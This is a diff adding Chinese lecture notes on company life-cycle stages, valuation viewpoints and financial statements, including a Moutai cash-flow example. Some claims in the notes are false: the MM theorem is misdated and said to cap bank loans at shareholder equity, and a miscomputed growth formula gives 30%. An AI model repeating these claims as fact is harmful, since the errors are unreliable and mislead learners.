+换句话说如果获客成本太高，客户给企业带来的贡献有限，那这个模式可能就不适合用来做规模。有很多会员制商业模式在中国可能行不通。因为会员给企业带来的收益是会员费，而我们去找客户的时候，去找会员的时候要付出代价，获客成本。 + +比如会员给我们带来的收益是会员费：每年收一百块，你去找他的时候要付八十块，表面上这个很合算，但实际从梅特卡夫模型的角度来说，这肯定是不合算的，因为你的获客成本很高，R方。所以我们一定要了解我们自己企业的运营价值的意义是什么，运营价值就是我要付代价去找客户，客户给我带来贡献，他们之间的关系我们如何来平衡。 + +如果你的获客成本很低，那没有问题，那绝对有潜力去扩大规模。如果你的获客成本很高，要么降低获客成本，要么你就问客户收很高的费用，也就是你的K要很高才能够抵补。不然你这个模式是没有办法扩大的。梅特卡夫模型用来衡量企业的运营规模扩张是不是有价值。 + +这个阶段企业开始有大量的投入生产和营销，投生产我们称为成本，投营销我们称为费用。所以这个时候我们会关心企业的投入，你的成本你的费用是多少，我们也会关心客户对企业的贡献收入是多少。 + +有一些数据是存量的，有一些数据是增量的。那么在第二个阶段我们说经济规模的价值意义在什么地方呢，如果收入的增长超过成本费用的增长，那我们会觉得说，在财务数据的评价上你的这个规模是有适经济的，你的这个规模是经济的。这个时候企业也需要融资，因为我们要扩大规模。平时我们讲的A轮融资、B轮融资通常都是指在这个阶段的融资。 + +这些融资的属性是运营融资，所谓运营融资那么就是我筹来的钱融来的钱，是投产品、投营销的。产品和营销投下去能够通过收入来回收。运营就是成本和费用。这些投下去以后可以通过舍入来回收，那就代表这一轮融资成功了。 + +某一轮融资是否成功他取决于这一轮融资投下去以后是否能够达到预期的目的。成本和费用就是我们融来的钱，先投。投下去以后是否能够通过收入来回收。这一轮融资成功，那你再进到下一轮融资。下一轮融资来帮助我们进一步扩大规模。 + +3.持续经营阶段 + +企业成功的走过规模扩大阶段以后，就进入了第三阶段。第三阶段我们叫持续经营阶段。所谓持续经营就是企业投产品投营销的费用能够通过收入来弥补，这样我先投钱，我把产品和市场投下去，然后我再收回钱。收回来的钱足够我两做下一轮投入，这样叫持续经营。如果说我的成本和费用投的多，收回的钱少，那这个不叫持续经营。 + +因为你如果要维护你的投入规模的话还要股东给你融资,股东始终要给你融资来弥补成本费用超过收入的部分。所以大家知道所谓持续经营他这里提到一个非常重要的财务条件叫盈亏平衡。当成本费用等于收入，我们投下去的产品投下去的营销通过收入，正好打平，这个时候我们叫盈亏平衡。 + +企业在盈亏平衡的时候多数说不需要再依赖投资人的钱，我就能够持续的滚动下去了。所以这个阶段叫持续经营。当企业进入持续经营的时候，那么他已经进入了第三阶段，这个阶段我们也称为财务价值。 + +财务价值，他不是站客户的角度，他也不是站在管理层的角度，他是站在股东的角度。所以对于股东来说，当这个企业进入盈亏平衡的时候，我们就知道了现在不是股东在给企业做贡献了，是企业有可能给股东回馈了对吗？是。 + +所以对股东来说最重要的是你要有利润，收入超过成本费用我们就叫盈利了，如果你有借钱那你要付利息，你有盈利就要交所得税，企业的盈利扣掉利息扣掉所得税我们叫净利润，净利润属于股东。所以盈亏平衡以后第一件事情就是我们要略有盈余，我要有利润，股东一看到利润就知道好了，这下不需要我再给你做大规模的投入了，你自己可以滚了。 + +所以财务价值的意思是，要让股东放心的，我们去挣钱，并且需要让股东放心的。也就是说我们有一个稳定的利润，这是前提。你不是给他看一个季度也不是光给他看一年。从现在开始我们就进入一个稳定的盈利的周期了，这是第一个。 + +第二个，价值和利润不一样，股东的投资是有要求的，大部分的投资者都是厌恶风险的，如果企业给股东的利润超过了股东要求的回报，我们就说这个项目有财务价值，他开始为股东创造价值了，股东开始要求价值增长。 + +4.资本扩张阶段 + +企业想要获得价值的增长，那他就要进入另外一个不同的阶段，这个阶段就是资本扩张阶段。 + +资本扩张和上面的运营规模扩张是不一样的，运营规模扩张是企业自己的产品扩大销售数量，资本扩张那么那是一种外延式的扩张。也就是说如果凭企业自己的能力，如何获得增长？总资产周转率，净利润率，这两个财务数据决定了你的自我增长能力。如果股东对你的要求超过了这两个数据能够给你带来的，总资产周转率和净利润率，那怎么办？ + +那你只能通过并购，资本扩张就是从外部花钱买利润，花钱买规模，我如果花钱买过来那一定程度上就能够比我自己创造增长来的更快。 + +花钱买有两个含义，第一个消灭竞争对手，因为竞争造成摩擦，会给企业带来损伤。所以我们平时会讲1+1>2，这是我们希望的资本扩张给我们带来的一个经济后果。那么当然企业如果要资本扩张的话他需要融资。所以这个时候的融资我们称为资本融资。那么资本融资和运营融资是非常不一样的，运营融资是不问股东要钱，先投产品通过产品的收入把这部分投资收回来。所以他运营融资是收回来的速度是比较快的。但是资本融资是问股东要了钱，然后我去做并购。并购给我带来的效果不是一年之内就能体现的，所以资本投下去以后大部分的企业的财务数据都会下沉。 + +因为股东给了你钱，这些钱不能在当年全部转化为销售收入，他要慢慢的才能转化成小收入。所以一个下沉以后会怎么样？这个是资本融资带来的不确定。也就是说说一个企业，在第四阶段的话他就要经历不同的考验，他要拥有不同资源。 + +有很多的企业他在发展的过程当中第一阶段做好了他进了第二阶段，第二阶段刚刚开始做他就跳到第四阶段，跳到第四阶段以后会发现自己有问题，大家都喜欢弯道超车，但是很少弯道超车有成功的，为什么？ + +因为一个项目也好一个企业也好，他的发展是有规律的。如果你在第二阶段你没有很好的走过第二阶段，你都没有体验过第三阶段，直接跳到第四阶段，你又不拥有第四阶段需要的资源，你就很有可能下沉了回不上来了。 + +我们创业板的很多的企业都有这样的毛病，他不拥有弯道超车的能力，就是野心超过了能力。所以不管是做互联网企业还是传统企业来说守住自己的目标，踏踏实实的一步一步往前走，不要给自己留下坑和雷，才能健康的走下去。当企业越过盈亏平衡点，进入持续经营创业才算成功。大家觉得我们从外部融到钱了就是成功了，不是这样的。在你持续经营之前，你玩的都是庞氏。所有的创业一定要持续经营才算成功一定要记住。 + +三、不同视角评估企业不同发展阶段的价值 + +这一部分我们主要来讨论企业在三个阶段里面如何去对他进行估价。第一、从哪个角度入手评估企业价值；第二、估值他是很抽象的产品价值、运营价值、财务价值，事实上只有财务价值和运营价值是可以算出来的，他是有明确的定义的。产品价值是比较困难的。所以实际上去讲方法论的时候，我们既有定量的也有定性的。定性的大概就告诉你一个思考方式，一个思维框架。 + +好，那么我们接下来就按照产品价值、运营价值和财务价值来讨论企业的三个阶段。在这三个阶段当中我们的角度是不一样的，产品价值是客户的角度。运营价值是管理层的角度，财务价值是投资者的角度。 + +（1）客户视角看企业：产品价值 + +产品价值包涵两方面：第一产品的使用价值，你的产品是否能够给客户带来超预期的体验。第二交换价值，客户是否愿意为使用你的产品付出代价。这两个都能达到，那你的产品是有价值的。 + +1.产品竞争力 + +我们站在客户的角度去看产品价值，客户关心三个问题。第一个问题是产品的竞争力。为什么客户会用你的产品持续的用你的产品呢？对呀，他比较了一下，他觉得你的产品是有竞争力的，什么叫竞争力？ + +我们通常会以为竞争优势，其实不是。竞争力是管理经济学当中一个很热门的话题，从1980年代到现在我们一直在谈竞争力，但是知名度最高的是波特五力模型。波特五力模型他其实讲的是管理经济学分析问题的时候用到的一个最基本的方法论，你要去看产业链，看行业。竞争力是什么呢？ + +竞争力的含义是进上下游谈判，和同行业比较产品之后能够持续生存和发展的能力。别人也有好的我不否认，但是我有我自己的独特的地方，所以我有我自己的客群。在一个行业里面如果你看产品，在销售端的价格低，在采购端的价格高我们叫价格倒挂，这样的行业我们不进去的对吗？毛利率是负的，是不是？所以他首先考虑的是产业的环境。然后考虑的是行业的环境。 + +如果我的产品生产出来跟别人都一样，我要去跟他们去存量市场上跟人家抢份额，这时你要获得竞争力是很困难的，所以在行业这个层面上一定要强调的差异化，一旦有了差异化我就可以有自己的客群。所以是和同行业比较之后，持续生存和发展的能力，叫竞争力。 + +刚才我们提到第一个是上下游，上游是供应商，下游是客户，然后是同行业。这个是我们在谈竞争力的时候最主要的背景，除此之外波特五力里面还强调了，你的产品是否有替代品。如果你的产品容易被替代，你的竞争力是不强的。但是从这个时代来说，产品是不是容易被替代这是一个问题，现在更容易被替代的是商业模式和盈利模式，你今天干的好好的明天你就卖不出去了，不是产品被替代了，是商业模式被替代掉了。 + +所以替代变成是一个考验竞争力的重要话题。除此之外门槛，当企业进入一个行业以后，就希望最好别人进不来。这样在这个行业里面我们才能赚到钱，我们才能把这个市场给分了。如果这个行业没有门槛谁都能进来，那这个竞争是无序竞争，大家要挣钱就难了。所以我们过去靠什么来维护竞争力呢？门槛。比如牌照，我拿到一块牌照我能干你们大部分人不能干。 + +第二个是知识产权保护。这个事情我是有专利的我能干，你们没有专利你们不能干这也是。第三个，资金门槛。干这个事情要很大的投入，没钱那你干不了。所以实际上从目前这个角度来说，胆打独斗想要在商业社会里面干出一片天地，不考虑周围的环境是非常困难的，你的竞争力是有限的，你可以创始一个项目，但是这个项目是不是能够一步一步走下去，是挺难的。我们为什么要出来学习？实际上是为了了解这个世界。 + +了解这个世界以后你再来讲我怎样才能获得竞争力。所以梅特卡夫模型给很多企业提供了重要的思考问题的方式，以前我们讲一个企业要做规模，运营规模怎么办呢？我么在同行业去收购，要不就是上下游，我的产品延伸到上游延伸到下游，我的思考方式是这样的。现在不是这样的，现在大部分企业的想法是什么？ + +我先有客户，那个N，找到客户以后我再来想客户要什么，然后我再给他什么。但是客户要的那个和我之前给他提供的服务可能不是一回事，反正他要的我就给他找。所以大家可以发现我们现在讲的类似于竞争力和资源配制都跟过去完全不一样。 + +在财务数据里面，我们有一些财务指标的设计是专门体现竞争力的，比如毛利率。毛利率是销售的价格减去成本的价格，销售的价格是我们跟客户谈判的结果，成本的价格是我们跟供应商谈判的结果，所以他的差价体现了你的竞争力。 + +在同行业里面你的毛利率比别人多，通常我们就会认为你跟上下游谈判的能力比别人强一点。竞争优势，是通过数据比较出来的，另外，我们还会去讲这个经营负债杠杆。什么叫经营负债杠杆？ + +我去跟供应商谈的时候价格很难谈下去，但是我人品好，所以我跟供应商说我可不可以给你一半钱，我这个材料买过来的时候，给你一半钱，然后还有一半我过三十天或者六十天再给你，供应同意了，价格我谈不下来，但是我说我可不可以晚一点付钱，他说可以，这个叫经营负债杠杆。 + +或者我的客户很信赖我，我这个产品出来以后供不应求，客户愿意先打钱给我，他先打钱给我，或者供应商那里我可以晚一点付钱给他，对我来说我是不在财务上获得了一个优势？这个叫经营负债杠杆。 + +只要你的供应商愿意让你迟付钱，你的客户愿意先付钱给你，这个都叫优势。跟上下游谈判的优势。所以跟上下游谈判体现在两个方面，第一个方面是差价，第二个方面是杠杆。你有差价，你的差价比别人高，你有杠杆别人没有，或者你的杠杆用的比别人高，这个都叫优势。当企业获得竞争优势以后，才有可能去实现他的战略。你的战略比方说是要做规模，有杠杆才能做规模啊，你的这个战略比方说我只是做高端人群,那高端人群就要卖得贵啊。 + +要弄清楚你的优势在哪里？你的优势在差价上那你就做高端，你的优势是杠杆，那你就做底端，你不明显，那你就做性价比。所以竞争优势跟企业的战略选择是有重要的关系的，这些可以通过财务数据来解释，他不完全是定型的。但是替代和门槛这都是很麻烦的问题，随时有可能产生颠覆。 + +所以，客户关心的第一个问题是竞争力，如果企业把客户的价值观当成自己的价值观，那你就应该追求竞争力，当企业说要提升竞争力的时候，代表企业的目标和客户的价值观是吻合的。 + +2.资源配置 + +客户关心的第二个问题是资源配制。什么是企业的资源？人财物时间是企业的资源，你的人财物时间会投到哪个方向？传统的来说企业有两个方向，第一个方向是自己的优势产品。努力提高这个产品未来的市场占有率，跟着自己的优势走。第二种是看市场，市场的增长率我们总是去看市场在哪个地方体现出高增长来，去一个增长的市场上抢份额。 + +其实这就体现了企业的两种策略，一种是在存量的市场上抢份额，从竞争对手那里抢份额，一种是在一个新出现的市场上去抢份额。但企业的财务资源是有限的，应该如何决策了？传统的经济学理论认为市场和企业的市场占有率是两个维度，一个维度是未来市场增长率，另一个纬度是现有的产品的市场占有率。 + +如果我愿意投优势产品，就像我们现在讲的工匠精神，把一个产品做到极致，市场如何变化我不管，我只做我的产品。还有一种是投未来。未来哪个产品的市场会爆发出来，就投哪个产品。 + +那么现代企业是怎么来做这个资源配制的呢？我们来看一下，现有的产品市场占有率分高和低，未来的市场增长率也分高和低，也就是说对企业来说市场占有率高的这个是他的优势产品，未来是不是要把钱投到这里去？但同时市场也分两种，一种是高增长的市场，一种是低增长的市场，要不要投高增长的市场，这是两种选择。但是如果我们把这个问题放到一起，两个维度合到一起他就形成了四个象限。第一个象限是我们的产品市场占有率很高，可是市场是低增长的。要不要在这样的市场上加大这一类产品的投入呢？我们在一个低增长的市场上拥有优势，要不要继续加大？ + +这就是个存量市场？市场就这么大，我们的市场份额比较高，我再投入把竞争对手全赶出去，市场就是我的了对不对？要不要干这个事情？很艰难的选择，因为你在这个市场上有优势，这个产品对你来说给你带来现金流。这些产品我们叫现金牛。为什么你有很高市场占有率？是因为过去投的大，过去投入多。 + +在财务报告上投全部是做费用，因为你过去投的多，所以积累到现在你的市场占有率高。过去投的现金是在过去的财务报告当中显示的，现在你的市场占有率高客户给你带来的现金流大是现在看到的，所以这些产品现在能够给我们带来比较大的现金流，但是是因为过去的投入积累下去，一个企业如果现金流好，通常是因为有这些产品。你说上汽现金流好吗？很好，为什么？ + +因为他有现金流，过去投入很大，研发市场在收获期。但是这个市场是有限的对不对？在一个市场上加大投入是把竞争对手赶出去，市场本身是有限的。 + +但是如果要在一个高增长的市场上取得高市场的份额，这个都是大家愿意做的事情，我的市场份额很高市场还在增加，但是这一类产品未必能给你带来很好的现金流，他很闪耀，我们都希望在这样的市场上拥有我们的市场份额，可是你要知道高增长的市场意味着你要持续投入，持续投入的现金流和给你带来增长的现金流，还未必是匹配的。这个是高投入高流入抵消，有可能不能给你带来很好的财务业绩，要不要加大投入。 + +加大投入的话，你要记住了，财务数据可能是不支持的，因为加大投入就代表说继续高投入。但是他给你带来的现金流的增长和你的高投入也许是不匹配的，财务数据来说投入大，回报小，非常有可能，这种速度未必是匹配的。 + +所以如果我们去谈财务数据一定要注意，收入和收入增长很重要，但成本的增长收入的增长的比例也很重要。在一个市场上如果你觉得，投入是一件持续的事情，也就是说这个投入如果变成持续的事情的话他就不是运营投入了，他是资本投入了。资本投入下去在未来才能够不断的带来什么？收益。 + +你用这种思路要去说服投资人的话，确实是一件很艰难的事情，但是你要有把握。你说我，现在我的投入大于产出，两三年以后我的是份额在累加么，累加上去以后我能够达到盈亏平衡。 + +有可能这个可以说服到投资人。但是这一类产品他出来的数据是很耀眼的，为什么呢？在一个增长的市场上获得高份额是很多企业的梦想。这个代表企业的优势。另外还有劣势。 + +比方说在一个高增长的市场我们的份额比较低，通常都是因为过去投入少。但是投是投了，可是投得少，这个造成我们在高增长的市场长市场份额低。要不要加大投入呢，要不要追呀？市场爆发出来了，我们过去不重视，要不要加大投入？关键是看你有没有钱。你有没有足够的财务资源。 + +最后我们来看一个企业是不是也会做这样的投资呢，就是当我们看不清楚市场未来会是什么样子的时候，可能我们很多的产品我们都会投一点，投的不多。 + +有一些产品把确实没起来，但是我们投的也不多，在这个模型里面我们叫瘦狗，如果你有这些项目在，那么我们建议你卖了，要把钱投到高增长的市场上去，认定他是高增长的。 + +你说我这个高增长就三个月那结束了这个高增长可能能持续三年的，那我们建议你投。但是目的要很明确在高增长的市场上，占有高份额，可是，市场是热点不可能一直持续，当市场的增长率下来的时候，可能是你的收获期。但是做资源配制的人永远要先行一步，我们不可以在这里一直恋战，因为当市场下来的时候，我们享受我们的现金流可是要准备什么？ + +享受现金流的同时不能再追加投资了，要准备撤了。钱永远是投向高增长的市场。这个叫资源配制。那么这个是传统的经济学理论，其实受到非常大的挑战。我们现在能够看到的这些巨头其实都不是这么干出来的，但是经济学的理论能够总结到这个程度不是说明他不对。但是我觉得其实价值观很重要，站在谁的角度想问题很重要。你站在客户的角度想问题，就是绕着这个方向来走。 + +3.内部管理 + +客户关心的第三个问题是企业的内部管理，因为客户关心产品的质量。如果你是以客户的价值观为你自己的价值观，你应该如何来做企业管理呢？ + +我们现在的企业架构一般的来说是分部门的，采购部门、销售部门、销售部门、售后部门、财务部门、行政部门、可能还有工厂。但如果你是以客户的价值观作为你的价值观的话，一定是以客户为你的管理条线的。 + +根据客户给对企业的贡献来决定资源配制。第二个管理是否以客户定单编号来归集我们的资源配制呢？客户定单编号一旦生成，我们就用客户定单编号来制定我们的工作流程，来归集我们的费用，来了解我们给客户提供的投入和客户给我们带来的价值，比较下来一年下来我们就知道了，我们应该怎么去做，这个是个非常重要的思路。其实这个是面向未来的一种思路，因为我们可以说对企业来说你拥有的资源是什么？是客户。 + +你跟竞争对手的区别其实不是产品，是什么？是客户。对，客户是你要研究的对象。那么我们现在看到的企业管理跟过去不一样，过去呢我们是让客户知道一下我们的流程，我们的采购，供应商，谁是我们的供应商，我们的工厂生产的流程是什么样的，最后我们的销售有多少是自建的，有多少是通过经销商的，售后服务又是怎么干的。就是过去我们的管理会让大家了解我们管理的流程，我们也会让大家了解我们的投入产出。 + +但是面向未来的话，就像刚才我跟大家分享的一样，是不够的。未来做企业的模式是什么样子的，跟现在做企业的模式是有重要的区别的。 + +（2）管理层视角看企业：运营价值 + +1.效率： + +接下来我们来看站在管理层的角度看企业。第一个问题是，你既然要讲经济价值，那我们就要讨论效率。我们用“投入产出比”来衡量效率，实际上效率就是投入产出。但是，投入产出当中不要忘了人财物时间，不要忽略时间，看到员工加班，这是好事，但员工加班也可能意味着效率低。 + +投入产出比中投入的四样：人、财、物、时间；产出：产出站在企业的角度就是销售额。 管理是细节，每一个细节的效率，就是管理。谈效率的时候主体是企业里的每一个人。但是，人的效率你怎么样来衡量呢？ + +你的人力资源部门有没有做到为每一个人的效率去考察？效率不是定性的，也可以定量的。第二个，效率不是一个人的事，它是规则。第三个，效率是要统计的，企业要有规则、执行和反馈。 + +第三个，不守规则的人要受到惩罚，这样你才能够用最少的人财物投入，获得最大的产出。管理就是细节，不是从细节上去提升管理的效率，就是从细节上提高资源配制。 + +2．战略 + +第二个问题是战略。战略企业到运营规模扩张这个阶段的时候，是否扩大规模，必须要给企业指一个方向。我们在未来一年，三年，五年，企业的发展方向是什么。这个方向包括我们在竞争力里面提到的产业链，或者行业，在增量市场上或者在存量市场上跟竞争对手来争夺市场份额？也有可能是我未来向着毛利比较高的一端，谈判比较难的一端去延伸，往上。 + +3．组织架构 + +在管理层的角度我们非常的重视企业的组织架构的搭建。组织架构有两层含义，第一个是集团，我们是要做公司还是要做一个集团的架构。 + +当我们在建一个企业架构，尤其是集团架构的时候，第一个考虑的就是税。税你要在财务的层面上是解决是很low的，解决不了多少的。税这个问题他是个高屋建瓴的问题，他一定是在集团架构。 + +第二：交易架构的设计。 + +第三：公司内部的组织架构。很多创新的企业。有大部分的企业，你很创新，但是是对外的创新你的模式创新产品创新，但是在管理上可能还是传统企业的架构：采购部、销售部、研发部、财务部、人力资源、行政部，你能不能用一个传统的企业架构去支撑你一个创新的商业模式呢？ + +我们现在看着还行，但实际上我觉得创新有的时候来自于外部，有的时候也来自于内部。组织架构的变革也能带来效率的提升。精准管理就是由组织架构来实现的。我们现在讲三流合一，在内部的设置上我们传统的管理我们叫纵向管理，把相同，拥有相同技能或者处理相同流程的这个部分，做成是一个部门。 + +但是同时，我们也有横向管理。横向的这个流程，横向那么就是根据供应商来管理，根据客户来管理。根据你的价值创造的理念来管理，你的价值创造是从供应商开始，那你就按供应商来管理。 + +但是大部分的企业的价值创造是从客户开始的，所以我们按照客户来管理。对客户的服务要经过很多流程啊，横向管理就是以客户编号，客户订单号为标准来设置你的管理流程。这两条线。 + +除此之外我们还有数据流。所以我们这里讲到的纵向管理我们叫工作流，横向管理我们叫业务流，工作流业务流数据流合在一起我们叫三流合一的管理模式。有可能在企业内部纵向的是部门横向的是项目，我们有两条线的管理，但同时在数据生成上我们也要有横向数据生成的这个要求。现代的管理已经发生天翻地覆的变化。 + +在一个企业里面，业务数据和财务数据这两条平行的线同等重要，未来的趋势一定是业务数据为主，因为业务数据他可以帮我们做管理决策，同时可以生成财务数据。但是财务数据反过来他不能变成业务数据，他不能转化成业务数据，也不能为你的内部管理决策提供决策支持。 + +所以数据流是我们做管理非常重要的一个工具，我跟大家举一个例子，我自己兼了一些公司的财务总监，为什么要兼这个？因为这个事情对我来说很好玩，我如果说你让我去做一个公司的财务总监，其实对我来说挺浪费的，兼一个以后我大概就了解了一个企业的财务总监要干些什么事情，但是我发现很遗憾，这个世界上有很多的财务总监被流程给捆住了，每天都在流程上批流程审流程，没有时间去做财务总监的事。 + +所以我觉得效率是很重要的。我一天的时间八个小时，我其实管一家公司大概两个小时就够了。为什么我用两个小时就可以干别的财务总监干八个小时的事情呢？效率啊。我把所有的事情对分清楚了，这是第一条。第二条，我同时要求我的团队也是一样的，我不许他们加班。我要求他们在规定的时间之内做好事情，什么是效率？我花1.5个人的钱请一个人，做两个人的事就叫效率。 + +所以，你怎么去给员工定工作目标呢？我每天都在后台看数据的，我们的员工都知道的。公司就是公共场所，到公共场所处理私人事情是不合适的，我花钱买你的时间，对吗？所以你在电脑上做的所有的痕迹后台都报告给我的。 + +我只花了一个月时间我就把财务部门给清理完毕的，我需要几个人干多少事，这是很清楚的事情。你们说数据是不是很重要？所以我们刚才讲到业务流工作数据流，你对一个企业组织架构的认识，我们是要按传统的管理方式么？还是要按以产品为中心，以客户为中心，以外部和内部的贡献为我们来设计组织架构的一个标准么，你的标准是什么？ + +当你把标准建起来以后，工作描述，工作目标，工作量，统计出来。你大概就知道了，我应该怎么做，企业的流程应该怎么设，每个人的工作任务有多饱满，我怎么样去评价他。所以我说一个好的组织架构，他能够提高效率，一个好的组织架构才能够支持战略的实施。当你在企业管理上发现任何问题的时候，第一个问组织架构，流程数据。 + +只有这些数据才能够支持你问下一个问题，没有这些问题，如果没有这些数据我们在谈论什么？管理，那就是泛泛而谈。虽然今天的主要内容是跟大家讨论财务数据的，但是财务数据不能解决管理的问题，他只能回答股东的问题，财务数据本质上不是用来谈效率的，只有企业的内部数据，业务数据才是用来谈效率的。 + +一个企业如果想要扩大规模，那你必须要提高效率，必须要有一个创新的组织架构。现在非常流行在企业内部设一个岗位叫首席架构师，就是专门用了管理企业的效率的。 + +（3）投资者视角看企业：财务价值 + +投资者的角度我们要讨论的是财务价值。投资者包括债权人和股东。股东和债权人，把钱投给了企业，企业把钱花到哪里去了？企业的钱有两个投向，第一个投产品，或服务，第二个投产能，产能既包括我们设备厂房、研发。在投产品的时候，产品的投入形成了成本，产能的分摊形成了费用。当产品带来的收入超过成本费用，形成盈利，然后付利息，分红。 + +在债权人和股东眼里企业是这样的，投资者和企业的关系是通过资产，企业的资产来形成的。对企业来说为什么我们刚才要投运营价值，运营价值就是产品价值。因为只有产品可以带来现金流，产能投下去，他是为产品提供服务的。当我们在讨论运营价值的时候我们是沿着这条线在讨论的，企业投产品，产品的投入的成本费用通过收入来回收，刚刚我们说盈亏平衡，盈利等于零就是盈亏平衡了。 + +收入超过成本费用就构成盈利了，然后我们付利息分红。当然，没有盈利你也要付利息的。所以这个是投资者和企业之间的关系。在客户的眼里企业是由产品构成的，这是经济学家克斯说的，在管理层的眼里企业是由细节构成的，这是德鲁克说的。在投资者的眼里企业是由什么构成的？资产。 + +这个是企业的本质。企业是由产品构成的，这是客户的角度。企业是由细节构成的，这是管理的角度。企业是由资产构成的，这是投资者的角度。企业是什么？企业就是这三句话。 + +好，刚才我们说到资产，资产，企业就是资产。资产是高度抽象的，他不像产品，每个企业的产品，你能讲得清楚的，你的产品是什么，你的服务是什么，你的产品长什么样子，这都是很具体的。 + +你站在管理层的角度企业是由流程构成的，流程他也是具体的。但是，资产是高度标准化，高度抽象化的东西，所有的企业都用同样的格式和内容来讲他们的本质。那么既然是本质么，大家都一样么对吗？ + +企业账上有多少钱？货币资金。客户欠了你多少钱？应收款。仓库里有什么？存货。你给供应商付钱了吗？预付款。四个项目。还有，你自己有设备吗？是租来的还是买来的？租来的，没有。你是买来的，固定资产，设备和厂房。你就是厂房一定是带土地租金对吗？土地的租金叫无型资产。你有专利吗？无型资产。还有，你除了自己之外有没有投外面，长期股权投资。四项，前面我们讲的是投产品，三项，固定资产、无型资产、长期股权投资，我们叫投资。 + +这个就是一个企业的资产，不管哪一个企业拿出来，你的资产是哪些就是这六项。所以我们说资产是本质，因为所有的企业在表达资产的时候用的格式都一样。 + +但是企业跟企业的区别是什么？我们俩做的产品是一样的，可是我们的客户不一样，我们都用应收款来反映，我们的客户不一样，客户不一样对股东来说有什么区别吗？你说我的客户规模大，我的竞争对手的客户规模小，这个都不是，在股东的眼里客户的信用决定了企业的信用。对吗？我把东西卖给客户客户跑了，我不就坏账了么？你的客户有多大跟我有什么关系呢？ + +对于股东来说，我们关心的是你的销售额的规模，你的应收帐款的变现的程度，这个叫资产和资产的本质。对于企业来说他是一个先花钱后赚钱的过程，钱变成资产，是花钱。资产变回钱，叫赚钱。所以对于投资者来说很简单，企业的目标是什么。 + +如果你的目标是站在股东的角度的话，那么你的目标是什么？你的目标是资产保值增值对不对？你管理资产的目的是什么？资产要保值，资产要增值，资产增值股东才有可能有盈利。所以记住了，站在不同的角度去谈企业，你定义的目标也是不一样的，客户的角度是提升竞争力，管理的角度是提高效率，投资者的角度就是资产保值增值。 + +所以一个企业的价值观，很难特立独行，你不是在客户的层面，你不是用客户的价值观，就是用管理层的价值观，就是用股东的价值观。 + + + + diff --git a/_posts/2018-10-29-301-xcw02.md b/_posts/2018-10-29-301-xcw02.md new file mode 100644 index 0000000..4fdb90d --- /dev/null +++ b/_posts/2018-10-29-301-xcw02.md @@ -0,0 +1,249 @@ +--- +layout: post +title: 【财务会计模块】 第2节 财务报表原理 +pid: 301 +tags: [mba] +--- + +引言 + +对于在混沌大学学习的很多创业者来说，如何用极简法分析财务报表原理至关重要，这有助于企业进行经济决策、风险管理。 + +本节课分为两个部分，第一部分是财务报表与企业经济活动之间的关系，第二部分是通过案例分析企业现金流量表、利润表和资产负债表，并用“三表合一”的形式评估企业盈利状况。 + +一、现金流量表对企业交易的分类 + +财务报表是对企业经济活动的反映及分类。企业的经济活动在公司的日常管理中包括业务活动、管理活动、前台、后台，我们会用各种不同的分类方式去归集、总结以及预测一个企业未来的经济活动。 + +从财务数据角度，我们用现金流量表对企业的交易活动进行分类。我们把一个企业的活动区分成经营活动、投资活动和筹资活动。 + +1.经营活动定义 + +经营活动是指一个企业在提供商品、劳务的过程中买卖交易涉及的活动。交易就是买卖，买卖跟企业的资金有重要关系。例如，企业采购材料、服务；支付房租、水电、员工的工资等费用；买卖产品、支付费用，最后从客户那里收回账款，这个过程称为买卖交易的过程。 + +2.投资活动定义 + +投资活动分两种，对外投资与对内投资。对外投资是企业将钱投资了另外一个企业，获得股权；企业将钱借给别的企业，获得债权。对内投资是企业内部进行产品研发投资，形成新产品和新技术，有助于企业未来发展。 + +另外，如果企业投资一些关键的设备，有些设备企业以租赁形式，这类租赁支出称为经营活动支出。如果企业自行购买设备，那就是投资活动。 + +3.筹资活动定义 + +筹资活动指一个企业在经营活动中赚到钱，用赚来的钱做产品研发、购买核心设备。在这种情况下，企业不需要融资。但是，如果一个企业要进行生产经营规模的扩张，它仅用自己赚来的钱是不够的，这个时候就要去寻求融资。 + +另外，在企业发展早期的时候，也需要投入大量研发成本。新经济跟传统经济不一样的是企业产品的迭代速度比过去更快了，过去企业研发新产品，销售周期可能为5年，现在则可能缩短为8个月。由于8个月以后产品的超额利润消失。所以，一个企业必须持续研发才能给带来持续的竞争力。 + +但是，对于早期企业，销售产品带来的现金增量并不能够支持它进行长远的产品研发。所以，企业需要对外筹资才能促进企业规模扩张、产品持续研发。 + +筹资从财务管理角度，要讲优序融资理论。优序融资理论是指企业在融资的时候有一个顺序，企业要寻求风险最小的融资，即债权人和股东的钱。因为公司法规定，如果企业盈利，利润属于股东。但是，但是企业不管盈利与否，都要支付利息，利息是刚性的。所以，企业向债权人融资的风险比股东小。因此，在融资的时候，企业会首选借钱。 + +可是，根据1976年诺贝尔经济学奖的成果，MM资本结构定理——银行给企业借钱的时候，最多不能超过企业股东给它投的钱。那么，银行到底应该借给企业多少钱呢？这与每个企业资产的回报有一定关系。所以，银行需要坚守一点——给企业借的钱不超过投资人给企业投的钱。所以，一个企业的财务杠杆很难超过1。 + +那么，如果企业需要钱，但是银行不借，这个时候企业需要进行资产抵押，例如中国银行给企业借钱的时候需要企业用固定资产抵押。 + +如果企业是轻资产，就很难进行抵押，除非创业者用自己的房产去做抵押，否则就很难向银行借到钱。所以，创业企业的筹资活动更多的是向股东和潜在的投资者寻求融资，通过吸收股东的投资支付红利、通过向债权人借钱去支付利息。 + +4.自由现金流对企业的作用 + +自由现金流是在我们对企业进行估价（这个企业值多少钱）的重要标准。自由现金流=现金净流量-资本支出，资本支出在投资活动当中是指一个企业购置固定资产和无形资产以及研发的投资。 + +现金流量表可以显示出企业赚钱能力。如果自由现金流为正且持续为正，那就说明这个企业有赚钱能力、可以独立于投资者，不需要投资者给它钱，它也能独立生存、自给自足。这样的企业才能给投资者分红。 + +案例1：赚钱且分红的企业——茅台 + +下面我们通过案例来证明自由现金流的重要性。茅台每年都给投资者分红，今年它提出的分红方案是每10股分119块现金，每一股分12块现金，它现在的股价是700块钱，你用700块钱买茅台的股票，每一股可以得到12块钱税前的分红，大家可以算一下投资回报率。茅台值不值700块呢？它给投资者分红12块钱是否持续呢？我们来看一看茅台的现金流量。 + +2008年，茅台现金流量为52亿。2017年，为221亿。现金流量从52亿到221亿，茅台用了10年。企业年增长率=（221/52）^（10-1)=30%。也就是说，茅台以每年以30%的速度在增长、在赚钱。 + +那么，茅台赚钱靠什么？靠卖更多的产品还是涨价？茅台官方每年都披露销售额、产量，茅台每吨酒的价格=销售额/产量。所以，在十年间，茅台每一吨酒的价值在上涨。 + 